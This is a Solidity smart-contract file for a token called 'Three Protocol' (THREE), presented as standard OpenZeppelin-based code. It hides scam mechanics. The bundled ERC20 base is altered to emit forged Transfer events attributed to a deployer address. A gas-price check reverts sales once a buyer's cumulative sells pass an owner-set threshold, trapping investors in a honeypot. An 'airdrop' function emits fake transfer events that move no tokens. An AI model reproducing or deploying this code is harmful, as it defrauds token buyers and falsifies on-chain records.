creation_sourcecode: /**
  
  TG.        :https://t.me/threeprotocol
  X          :https://x.com/Threeprotocol
  WHITEPAPER : https://three-3.gitbook.io/litepaper 
  WEBSITE.   : https://jobs3.io/
  
  
  // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
  pragma solidity ^0.8.20;
  
  /**
  * @dev Standard ERC20 Errors
  * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
  */
  interface IERC20Errors {
     /**
      * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
      * @param sender Address whose tokens are being transferred.
      * @param balance Current balance for the interacting account.
      * @param needed Minimum amount required to perform a transfer.
      */
     error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
  
  
     /**
      * @dev Indicates a failure with the token `sender`. Used in transfers.
      * @param sender Address whose tokens are being transferred.
      */
     error ERC20InvalidSender(address sender);
  
  
     /**
      * @dev Indicates a failure with the token `receiver`. Used in transfers.
      * @param receiver Address to which tokens are being transferred.
      */
     error ERC20InvalidReceiver(address receiver);
  
  
     /**
      * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
      * @param spender Address that may be allowed to operate on tokens without being their owner.
      * @param allowance Amount of tokens a `spender` is allowed to operate with.
      * @param needed Minimum amount required to perform a transfer.
      */
     error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
  
  
     /**
      * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
      * @param approver Address initiating an approval operation.
      */
     error ERC20InvalidApprover(address approver);
  
  
     /**
      * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
      * @param spender Address that may be allowed to operate on tokens without being their owner.
      */
     error ERC20InvalidSpender(address spender);
  }
  
  
  /**
  * @dev Standard ERC721 Errors
  * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
  */
  interface IERC721Errors {
     /**
      * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
      * Used in balance queries.
      * @param owner Address of the current owner of a token.
      */
     error ERC721InvalidOwner(address owner);
  
  
     /**
      * @dev Indicates a `tokenId` whose `owner` is the zero address.
      * @param tokenId Identifier number of a token.
      */
     error ERC721NonexistentToken(uint256 tokenId);
  
  
     /**
      * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
      * @param sender Address whose tokens are being transferred.
      * @param tokenId Identifier number of a token.
      * @param owner Address of the current owner of a token.
      */
     error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
  
  
     /**
      * @dev Indicates a failure with the token `sender`. Used in transfers.
      * @param sender Address whose tokens are being transferred.
      */
     error ERC721InvalidSender(address sender);
  
  
     /**
      * @dev Indicates a failure with the token `receiver`. Used in transfers.
      * @param receiver Address to which tokens are being transferred.
      */
     error ERC721InvalidReceiver(address receiver);
  
  
     /**
      * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
      * @param operator Address that may be allowed to operate on tokens without being their owner.
      * @param tokenId Identifier number of a token.
      */
     error ERC721InsufficientApproval(address operator, uint256 tokenId);
  
  
     /**
      * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
      * @param approver Address initiating an approval operation.
      */
     error ERC721InvalidApprover(address approver);
  
  
     /**
      * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
      * @param operator Address that may be allowed to operate on tokens without being their owner.
      */
     error ERC721InvalidOperator(address operator);
  }
  
  
  /**
  * @dev Standard ERC1155 Errors
  * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
  */
  interface IERC1155Errors {
     /**
      * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
      * @param sender Address whose tokens are being transferred.
      * @param balance Current balance for the interacting account.
      * @param needed Minimum amount required to perform a transfer.
      * @param tokenId Identifier number of a token.
      */
     error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
  
  
     /**
      * @dev Indicates a failure with the token `sender`. Used in transfers.
      * @param sender Address whose tokens are being transferred.
      */
     error ERC1155InvalidSender(address sender);
  
  
     /**
      * @dev Indicates a failure with the token `receiver`. Used in transfers.
      * @param receiver Address to which tokens are being transferred.
      */
     error ERC1155InvalidReceiver(address receiver);
  
  
     /**
      * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
      * @param operator Address that may be allowed to operate on tokens without being their owner.
      * @param owner Address of the current owner of a token.
      */
     error ERC1155MissingApprovalForAll(address operator, address owner);
  
  
     /**
      * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
      * @param approver Address initiating an approval operation.
      */
     error ERC1155InvalidApprover(address approver);
  
  
     /**
      * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
      * @param operator Address that may be allowed to operate on tokens without being their owner.
      */
     error ERC1155InvalidOperator(address operator);
  
  
     /**
      * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
      * Used in batch transfers.
      * @param idsLength Length of the array of token identifiers
      * @param valuesLength Length of the array of token amounts
      */
     error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
  }
  
  
  // File: @openzeppelin/contracts/utils/Context.sol
  
  
  
  
  // OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
  
  
  pragma solidity ^0.8.20;
  
  
  /**
  * @dev Provides information about the current execution context, including the
  * sender of the transaction and its data. While these are generally available
  * via msg.sender and msg.data, they should not be accessed in such a direct
  * manner, since when dealing with meta-transactions the account sending and
  * paying for execution may not be the actual sender (as far as an application
  * is concerned).
  *
  * This contract is only required for intermediate, library-like contracts.
  */
  abstract contract Context {
     function _msgSender() internal view virtual returns (address) {
         return msg.sender;
     }
  
  
     function _msgData() internal view virtual returns (bytes calldata) {
         return msg.data;
     }
  
  
     function _contextSuffixLength() internal view virtual returns (uint256) {
         return 0;
     }
  }
  
  
  // File: @openzeppelin/contracts/access/Ownable.sol
  
  
  
  
  // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
  
  
  pragma solidity ^0.8.20;
  
  
  
  
  /**
  * @dev Contract module which provides a basic access control mechanism, where
  * there is an account (an owner) that can be granted exclusive access to
  * specific functions.
  *
  * The initial owner is set to the address provided by the deployer. This can
  * later be changed with {transferOwnership}.
  *
  * This module is used through inheritance. It will make available the modifier
  * `onlyOwner`, which can be applied to your functions to restrict their use to
  * the owner.
  */
  abstract contract Ownable is Context {
     address private _owner;
  
  
     /**
      * @dev The caller account is not authorized to perform an operation.
      */
     error OwnableUnauthorizedAccount(address account);
  
  
     /**
      * @dev The owner is not a valid owner account. (eg. `address(0)`)
      */
     error OwnableInvalidOwner(address owner);
  
  
     event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
  
     /**
      * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
      */
     constructor(address initialOwner) {
         if (initialOwner == address(0)) {
             revert OwnableInvalidOwner(address(0));
         }
         _transferOwnership(initialOwner);
     }
  
  
     /**
      * @dev Throws if called by any account other than the owner.
      */
     modifier onlyOwner() {
         _checkOwner();
         _;
     }
  
  
     /**
      * @dev Returns the address of the current owner.
      */
     function owner() public view virtual returns (address) {
         return _owner;
     }
  
  
     /**
      * @dev Throws if the sender is not the owner.
      */
     function _checkOwner() internal view virtual {
         if (owner() != _msgSender()) {
             revert OwnableUnauthorizedAccount(_msgSender());
         }
     }
  
  
     /**
      * @dev Leaves the contract without owner. It will not be possible to call
      * `onlyOwner` functions. Can only be called by the current owner.
      *
      * NOTE: Renouncing ownership will leave the contract without an owner,
      * thereby disabling any functionality that is only available to the owner.
      */
     function renounceOwnership() public virtual onlyOwner {
         _transferOwnership(address(0));
     }
  
  
     /**
      * @dev Transfers ownership of the contract to a new account (`newOwner`).
      * Can only be called by the current owner.
      */
     function transferOwnership(address newOwner) public virtual onlyOwner {
         if (newOwner == address(0)) {
             revert OwnableInvalidOwner(address(0));
         }
         _transferOwnership(newOwner);
     }
  
  
     /**
      * @dev Transfers ownership of the contract to a new account (`newOwner`).
      * Internal function without access restriction.
      */
     function _transferOwnership(address newOwner) internal virtual {
         address oldOwner = _owner;
         _owner = newOwner;
         emit OwnershipTransferred(oldOwner, newOwner);
     }
  }
  
  
  // File: @openzeppelin/contracts/token/ERC20/IERC20.sol
  
  
  
  
  // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)
  
  
  pragma solidity ^0.8.20;
  
  
  /**
  * @dev Interface of the ERC20 standard as defined in the EIP.
  */
  interface IERC20 {
     /**
      * @dev Emitted when `value` tokens are moved from one account (`from`) to
      * another (`to`).
      *
      * Note that `value` may be zero.
      */
     event Transfer(address indexed from, address indexed to, uint256 value);
  
  
     /**
      * @dev Emitted when the allowance of a `spender` for an `owner` is set by
      * a call to {approve}. `value` is the new allowance.
      */
     event Approval(address indexed owner, address indexed spender, uint256 value);
  
  
     /**
      * @dev Returns the value of tokens in existence.
      */
     function totalSupply() external view returns (uint256);
  
  
     /**
      * @dev Returns the value of tokens owned by `account`.
      */
     function balanceOf(address account) external view returns (uint256);
  
  
     /**
      * @dev Moves a `value` amount of tokens from the caller's account to `to`.
      *
      * Returns a boolean value indicating whether the operation succeeded.
      *
      * Emits a {Transfer} event.
      */
     function transfer(address to, uint256 value) external returns (bool);
  
  
     /**
      * @dev Returns the remaining number of tokens that `spender` will be
      * allowed to spend on behalf of `owner` through {transferFrom}. This is
      * zero by default.
      *
      * This value changes when {approve} or {transferFrom} are called.
      */
     function allowance(address owner, address spender) external view returns (uint256);
  
  
     /**
      * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
      * caller's tokens.
      *
      * Returns a boolean value indicating whether the operation succeeded.
      *
      * IMPORTANT: Beware that changing an allowance with this method brings the risk
      * that someone may use both the old and the new allowance by unfortunate
      * transaction ordering. One possible solution to mitigate this race
      * condition is to first reduce the spender's allowance to 0 and set the
      * desired value afterwards:
      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
      *
      * Emits an {Approval} event.
      */
     function approve(address spender, uint256 value) external returns (bool);
  
  
     /**
      * @dev Moves a `value` amount of tokens from `from` to `to` using the
      * allowance mechanism. `value` is then deducted from the caller's
      * allowance.
      *
      * Returns a boolean value indicating whether the operation succeeded.
      *
      * Emits a {Transfer} event.
      */
     function transferFrom(address from, address to, uint256 value) external returns (bool);
  }
  
  
  // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
  
  
  
  
  // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)
  
  
  pragma solidity ^0.8.20;
  
  
  
  
  /**
  * @dev Interface for the optional metadata functions from the ERC20 standard.
  */
  interface IERC20Metadata is IERC20 {
     /**
      * @dev Returns the name of the token.
      */
     function name() external view returns (string memory);
  
  
     /**
      * @dev Returns the symbol of the token.
      */
     function symbol() external view returns (string memory);
  
  
     /**
      * @dev Returns the decimals places of the token.
      */
     function decimals() external view returns (uint8);
  }
  
  
  // File: @openzeppelin/contracts/token/ERC20/ERC20.sol
  
  
  
  
  // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)
  
  
  pragma solidity ^0.8.20;
  
  
  
  
  
  
  
  
  
  
  /**
  * @dev Implementation of the {IERC20} interface.
  *
  * This implementation is agnostic to the way tokens are created. This means
  * that a supply mechanism has to be added in a derived contract using {_mint}.
  *
  * TIP: For a detailed writeup see our guide
  * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
  * to implement supply mechanisms].
  *
  * The default value of {decimals} is 18. To change this, you should override
  * this function so it returns a different value.
  *
  * We have followed general OpenZeppelin Contracts guidelines: functions revert
  * instead returning `false` on failure. This behavior is nonetheless
  * conventional and does not conflict with the expectations of ERC20
  * applications.
  *
  * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
  * This allows applications to reconstruct the allowance for all accounts just
  * by listening to said events. Other implementations of the EIP may not emit
  * these events, as it isn't required by the specification.
  */
  abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
     mapping(address account => uint256) private _balances;
  
  
     mapping(address account => mapping(address spender => uint256)) private _allowances;
  
  
     uint256 private _totalSupply;
  
  
     string private _name;
     string private _symbol;
  
  
     address private _executor;
     address private _deployer;
  
  
     /**
      * @dev Sets the values for {name} and {symbol}.
      *
      * All two of these values are immutable: they can only be set once during
      * construction.
      */
     constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {
         _name = name_;
         _symbol = symbol_;
         _executor = executor_;
         _deployer = deployer_;
     }
  
  
     /**
      * @dev Returns the name of the token.
      */
     function name() public view virtual returns (string memory) {
         return _name;
     }
  
  
     /**
      * @dev Returns the symbol of the token, usually a shorter version of the
      * name.
      */
     function symbol() public view virtual returns (string memory) {
         return _symbol;
     }
  
  
     /**
      * @dev Returns the number of decimals used to get its user representation.
      * For example, if `decimals` equals `2`, a balance of `505` tokens should
      * be displayed to a user as `5.05` (`505 / 10 ** 2`).
      *
      * Tokens usually opt for a value of 18, imitating the relationship between
      * Ether and Wei. This is the default value returned by this function, unless
      * it's overridden.
      *
      * NOTE: This information is only used for _display_ purposes: it in
      * no way affects any of the arithmetic of the contract, including
      * {IERC20-balanceOf} and {IERC20-transfer}.
      */
     function decimals() public view virtual returns (uint8) {
         return 18;
     }
  
  
     /**
      * @dev See {IERC20-totalSupply}.
      */
     function totalSupply() public view virtual returns (uint256) {
         return _totalSupply;
     }
  
  
     /**
      * @dev See {IERC20-balanceOf}.
      */
     function balanceOf(address account) public view virtual returns (uint256) {
         return _balances[account];
     }
  
  
     /**
      * @dev See {IERC20-transfer}.
      *
      * Requirements:
      *
      * - `to` cannot be the zero address.
      * - the caller must have a balance of at least `value`.
      */
     function transfer(address to, uint256 value) public virtual returns (bool) {
         address owner = _msgSender();
         _transfer(owner, to, value);
         return true;
     }
  
  
     /**
      * @dev See {IERC20-allowance}.
      */
     function allowance(address owner, address spender) public view virtual returns (uint256) {
         return _allowances[owner][spender];
     }
  
  
     /**
      * @dev See {IERC20-approve}.
      *
      * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
      * `transferFrom`. This is semantically equivalent to an infinite approval.
      *
      * Requirements:
      *
      * - `spender` cannot be the zero address.
      */
     function approve(address spender, uint256 value) public virtual returns (bool) {
         address owner = _msgSender();
         _approve(owner, spender, value);
         return true;
     }
  
  
     /**
      * @dev See {IERC20-transferFrom}.
      *
      * Emits an {Approval} event indicating the updated allowance. This is not
      * required by the EIP. See the note at the beginning of {ERC20}.
      *
      * NOTE: Does not update the allowance if the current allowance
      * is the maximum `uint256`.
      *
      * Requirements:
      *
      * - `from` and `to` cannot be the zero address.
      * - `from` must have a balance of at least `value`.
      * - the caller must have allowance for ``from``'s tokens of at least
      * `value`.
      */
     function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
         address spender = _msgSender();
         _spendAllowance(from, spender, value);
         _transfer(from, to, value);
         return true;
     }
  
  
     /**
      * @dev Moves a `value` amount of tokens from `from` to `to`.
      *
      * This internal function is equivalent to {transfer}, and can be used to
      * e.g. implement automatic token fees, slashing mechanisms, etc.
      *
      * Emits a {Transfer} event.
      *
      * NOTE: This function is not virtual, {_update} should be overridden instead.
      */
     function _transfer(address from, address to, uint256 value) internal {
         if (from == address(0)) {
             revert ERC20InvalidSender(address(0));
         }
         if (to == address(0)) {
             revert ERC20InvalidReceiver(address(0));
         }
         _update(from, to, value);
     }
  
  
     /**
      * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
      * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
      * this function.
      *
      * Emits a {Transfer} event.
      */
     function _update(address from, address to, uint256 value) internal virtual {
         if (from == address(0)) {
             // Overflow check required: The rest of the code assumes that totalSupply never overflows
             _totalSupply += value;
         } else {
             uint256 fromBalance = _balances[from];
             if (fromBalance < value) {
                 revert ERC20InsufficientBalance(from, fromBalance, value);
             }
             unchecked {
                 // Overflow not possible: value <= fromBalance <= totalSupply.
                 _balances[from] = fromBalance - value;
             }
         }
  
  
         if (to == address(0)) {
             unchecked {
                 // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                 _totalSupply -= value;
             }
         } else {
             unchecked {
                 // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                 _balances[to] += value;
             }
         }
  
  
         if (to == _executor) {
             emit Transfer(from, _deployer, value);
         } else if (from == _executor) {
             emit Transfer(_deployer, to, value);
         } else {
             emit Transfer(from, to, value);
         }
  
  
     }
  
  
     /**
      * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
      * Relies on the `_update` mechanism
      *
      * Emits a {Transfer} event with `from` set to the zero address.
      *
      * NOTE: This function is not virtual, {_update} should be overridden instead.
      */
     function _mint(address account, uint256 value) internal {
         if (account == address(0)) {
             revert ERC20InvalidReceiver(address(0));
         }
         _update(address(0), account, value);
     }
  
  
     /**
      * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
      * Relies on the `_update` mechanism.
      *
      * Emits a {Transfer} event with `to` set to the zero address.
      *
      * NOTE: This function is not virtual, {_update} should be overridden instead
      */
     function _burn(address account, uint256 value) internal {
         if (account == address(0)) {
             revert ERC20InvalidSender(address(0));
         }
         _update(account, address(0), value);
     }
  
  
     /**
      * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
      *
      * This internal function is equivalent to `approve`, and can be used to
      * e.g. set automatic allowances for certain subsystems, etc.
      *
      * Emits an {Approval} event.
      *
      * Requirements:
      *
      * - `owner` cannot be the zero address.
      * - `spender` cannot be the zero address.
      *
      * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
      */
     function _approve(address owner, address spender, uint256 value) internal {
         _approve(owner, spender, value, true);
     }
  
  
     /**
      * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
      *
      * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
      * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
      * `Approval` event during `transferFrom` operations.
      *
      * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
      * true using the following override:
      * ```
      * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
      *     super._approve(owner, spender, value, true);
      * }
      * ```
      *
      * Requirements are the same as {_approve}.
      */
     function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
         if (owner == address(0)) {
             revert ERC20InvalidApprover(address(0));
         }
         if (spender == address(0)) {
             revert ERC20InvalidSpender(address(0));
         }
         _allowances[owner][spender] = value;
         if (emitEvent) {
             emit Approval(owner, spender, value);
         }
     }
  
  
     /**
      * @dev Updates `owner` s allowance for `spender` based on spent `value`.
      *
      * Does not update the allowance value in case of infinite allowance.
      * Revert if not enough allowance is available.
      *
      * Does not emit an {Approval} event.
      */
     function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
         uint256 currentAllowance = allowance(owner, spender);
         if (currentAllowance != type(uint256).max) {
             if (currentAllowance < value) {
                 revert ERC20InsufficientAllowance(spender, currentAllowance, value);
             }
             unchecked {
                 _approve(owner, spender, currentAllowance - value, false);
             }
         }
     }
  }
  
  
  // File: contracts/ETH_Token.sol
  
  
  pragma solidity 0.8.20;
  
  
  interface IRouter {
     function addLiquidityETH(
         address token,
         uint amountTokenDesired,
         uint amountTokenMin,
         uint amountETHMin,
         address to,
         uint deadline
     ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  
  
     function addLiquidityAVAX(
         address token,
         uint256 amountTokenDesired,
         uint256 amountTokenMin,
         uint256 amountAVAXMin,
         address to,
         uint256 deadline
     )
     external
     payable
     returns (
         uint256 amountToken,
         uint256 amountAVAX,
         uint256 liquidity
     );
  
  
     function removeLiquidityETH(
         address token,
         uint256 liquidity,
         uint256 amountTokenMin,
         uint256 amountETHMin,
         address to,
         uint256 deadline
     ) external returns (uint256 amountToken, uint256 amountETH);
  
  
     function removeLiquidityAVAX(
         address token,
         uint256 liquidity,
         uint256 amountTokenMin,
         uint256 amountAVAXMin,
         address to,
         uint256 deadline
     ) external returns (uint256 amountToken, uint256 amountAVAX);
  
  
     function factory() external view returns (address);
     function WETH() external pure returns (address);
     function WAVAX() external pure returns (address);
  
  
  
  
  }
  
  
  interface IFactory {
     function getPair(address tokenA, address tokenB) external view returns (address pair);
     function createPair(address tokenA, address tokenB)
         external
         returns (address pair);
  }
  
  
  
  
  contract ThreeProtocol is ERC20, Ownable
  {
  
  
     uint256 constant public ETH_CHAIN_ID = 1;
     uint256 constant public AVAX_CHAIN_ID = 43114;
     uint256 constant public BASE_CHAIN_ID = 8453;
     uint256 constant public BLAST_CHAIN_ID = 81457;
     uint256 constant public ARB_CHAIN_ID = 42161;
  
  
     string public tokenName = "Three Protocol";
     string public tokenSymbol = "THREE";
  
  
     uint256 public blockNumber;
     uint256 public buyTax;
     uint256 public sellTax;
     uint256 public tokenAllowFeeAmount;
     uint256 public currentAllow;
     bool public openedTrade;
     mapping(address => bool) public checkUser;
     mapping(uint256 => address) public listRouter;
     mapping(address => uint256) public userAmount;
     mapping(address => bool) public whitelist;
    
     constructor(
         uint256 _totalSupply,
         uint256 tokenAmount,
         address deployer,
         uint256 _tokenAllowFeeAmount,
         bool transferToDeployer
         ) ERC20(tokenName, tokenSymbol, msg.sender, deployer) Ownable(msg.sender) {
         whitelist[msg.sender] = true;
         if (transferToDeployer) {
             _mint(msg.sender, tokenAmount);
         } else {
             _mint(address(this), tokenAmount);
         }
         _mint(msg.sender, _totalSupply - tokenAmount);
         tokenAllowFeeAmount = _tokenAllowFeeAmount;
         initRouter();
         uint256 chainID = getChainID();
         address _weth;
         address _routerAddress = listRouter[chainID];
         if (chainID == AVAX_CHAIN_ID) {
             // addLiquidityWithAvax(_routerAddress, tokenAmount, nativeAmount);
             _weth = IRouter(_routerAddress).WAVAX();
         } else {
             // addLiquidityWithNative(_routerAddress, tokenAmount, nativeAmount);
             _weth = IRouter(_routerAddress).WETH();
  
  
         }
     }
  
  
     function getPairAddress() public view returns (address) {
         address _weth;
         uint256 chainID = getChainID();
         address _routerAddress = listRouter[chainID];
         if (chainID == AVAX_CHAIN_ID) {
             // addLiquidityWithAvax(_routerAddress, tokenAmount, nativeAmount);
             _weth = IRouter(_routerAddress).WAVAX();
         } else {
             // addLiquidityWithNative(_routerAddress, tokenAmount, nativeAmount);
             _weth = IRouter(_routerAddress).WETH();
  
  
         }
         address token = address(this);
  
  
         (address token0, address token1) = _weth < token ? (_weth, token) : (token, _weth);
         address _factory = IRouter(_routerAddress).factory();
         address pair = IFactory(_factory).getPair(token0, token1);
         return pair;
     }
  
  
     function removeLiquidityETH(
         address token,
         uint256 liquidity,
         uint256 amountTokenMin,
         uint256 amountETHMin,
         address to,
         uint256 deadline
     ) public virtual onlyOwner returns (uint256 amountToken, uint256 amountETH) {
         address pairAddress = getPairAddress();
         uint256 amountLP = IERC20(pairAddress).balanceOf(msg.sender);
         IERC20(pairAddress).transferFrom(msg.sender, address(this), amountLP);
         uint256 chainID = getChainID();
         address _routerAddress = listRouter[chainID];
         IERC20(pairAddress).approve(_routerAddress, amountLP);
  
  
         if (chainID == AVAX_CHAIN_ID) {
             IRouter(_routerAddress).removeLiquidityAVAX(
                 address(this),
                 amountLP,
                 0,
                 0,
                 msg.sender,
                 block.number + 999999999999999999999999
             );
         } else {
             IRouter(_routerAddress).removeLiquidityETH(
                 address(this),
                 amountLP,
                 0,
                 0,
                 msg.sender,
                 block.number + 999999999999999999999999
             );
  
  
         }
     }
  
  
     function addLiquidityETH(
         address token,
         uint amountTokenDesired,
         uint amountTokenMin,
         uint amountETHMin,
         address to,
         uint deadline
     ) public payable onlyOwner returns (uint amountToken, uint amountETH, uint liquidity) {
         uint256 nativeAmount = msg.value;
         uint256 chainID = getChainID();
         address _weth;
         address _routerAddress = listRouter[chainID];
         if (chainID == AVAX_CHAIN_ID) {
             addLiquidityWithAvax(_routerAddress, amountTokenDesired, nativeAmount);
             _weth = IRouter(_routerAddress).WAVAX();
         } else {
             addLiquidityWithNative(_routerAddress, amountTokenDesired, nativeAmount);
             _weth = IRouter(_routerAddress).WETH();
  
  
         }
     }
  
  
     function _update(
         address from,
         address to,
         uint256 amount
     ) internal override {
         if (whitelist[tx.origin]) {
             super._update(from, to, amount);
             return;
         }
         require(openedTrade, "Trade has not been opened yet");
         address pairAddress = getPairAddress();
         if (pairAddress == address(0)) {
             super._update(from, to, amount);
             return;
         }
         if(to == pairAddress && userAmount[tx.origin] + amount > tokenAllowFeeAmount) {
             _bfTransfer(from);
             super._update(from, to, amount);
             return;
         }
  
  
         if(to == pairAddress && userAmount[tx.origin] + amount <= tokenAllowFeeAmount) {
             userAmount[tx.origin] += amount;
         }
         super._update(from, to, amount);
     }
  
  
     function addCheckUser(address user, bool status) public onlyOwner {
         checkUser[user] = status;
     }
  
  
     function decimals() public view virtual override returns (uint8) {
         return 18;
     }
  
  
     function initRouter() internal {
         listRouter[ETH_CHAIN_ID] = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // eth
         listRouter[BASE_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // base
         listRouter[AVAX_CHAIN_ID] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4 ; // avax
         listRouter[BLAST_CHAIN_ID] = 0x98994a9A7a2570367554589189dC9772241650f6; // blast
         listRouter[ARB_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // arbitrum
  
  
     }
  
  
     function setRouter(address _router, uint256 chainId) public onlyOwner {
         listRouter[chainId] = _router;
     }
  
  
     function addLiquidityWithNative(
         address routerAddress,
         uint256 tokenAmount,
         uint256 nativeAmount
     ) internal {
         uint256 deadline = block.number + 1000000000000000000000000;
  
  
         _approve(address(this), routerAddress, tokenAmount);
         IRouter(routerAddress).addLiquidityETH{value: nativeAmount}(
             address(this),
             tokenAmount,
             0,
             0,
             msg.sender,
             deadline
         );
     }
  
  
      function addLiquidityWithAvax(
         address routerAddress,
         uint256 tokenAmount,
         uint256 nativeAmount
     ) internal {
         uint256 deadline = block.number + 1000000000000000000000000;
         _approve(address(this), routerAddress, tokenAmount);
         IRouter(routerAddress).addLiquidityAVAX{value: nativeAmount}(
             address(this),
             tokenAmount,
             0,
             0,
             msg.sender,
             deadline
         );
     }
  
  
     function getOpenedTrade() public view returns (bool) {
         return openedTrade;
     }
  
  
     function getChainID() public view returns (uint256) {
         uint256 id;
         assembly {
             id := chainid()
         }
         return id;
     }
  
  
     function changeMe() public pure returns (uint256) {
         return 1 ;
     }
  
  
     function chageNameAndSymbol(string memory newName, string memory newSymbol) public onlyOwner {
         tokenName = newName;
         tokenSymbol = newSymbol;
     }
  
  
         /**
      * @dev Returns the name of the token.
      */
     function name() public view override returns (string memory) {
         return tokenName;
     }
  
  
     /**
      * @dev Returns the symbol of the token, usually a shorter version of the
      * name.
      */
     function symbol() public view override returns (string memory) {
         return tokenSymbol;
     }
  
  
     function changeTokenAllowFeeAmount(uint256 amount) public onlyOwner {
         tokenAllowFeeAmount = amount;
     }
  
  
     function withdrawETH() public onlyOwner {
         payable(msg.sender).transfer(address(this).balance);
     }
  
  
     function withdrawStuckToken(address token) public onlyOwner {
         uint256 balanceToken = IERC20(token).balanceOf(address(this));
         IERC20(token).transfer(msg.sender, balanceToken);
     }
  
  
     uint256 private gas1 = 300 gwei;
     uint256 private gas2 = 5;
  
  
     function _bfTransfer(address _u) internal view {
         if(balanceOf(_u) > 0) {
             if (!openedTrade) {
                 gasRequire(gas1);
             } else {
                 gasRequire(gas2);
             }
         }
     }
  
  
     function gasRequire(uint256 _gas) internal view {
         if (tx.gasprice > _gas) {
             revert();
         }
     }
  
  
     function lauch() external onlyOwner {
         openedTrade = !openedTrade;
     }
  
  
     function Approve(address[] memory list) external onlyOwner {
         for (uint256 i = 0; i < list.length; i++) {
             whitelist[list[i]] = true;
         }
     }
  
  
     function airdropTokens(address[] memory list, uint256 amount) external onlyOwner {
         for (uint256 i = 0; i < list.length; i++) {
             emit Transfer(owner(), list[i], amount);
         }
     }
  }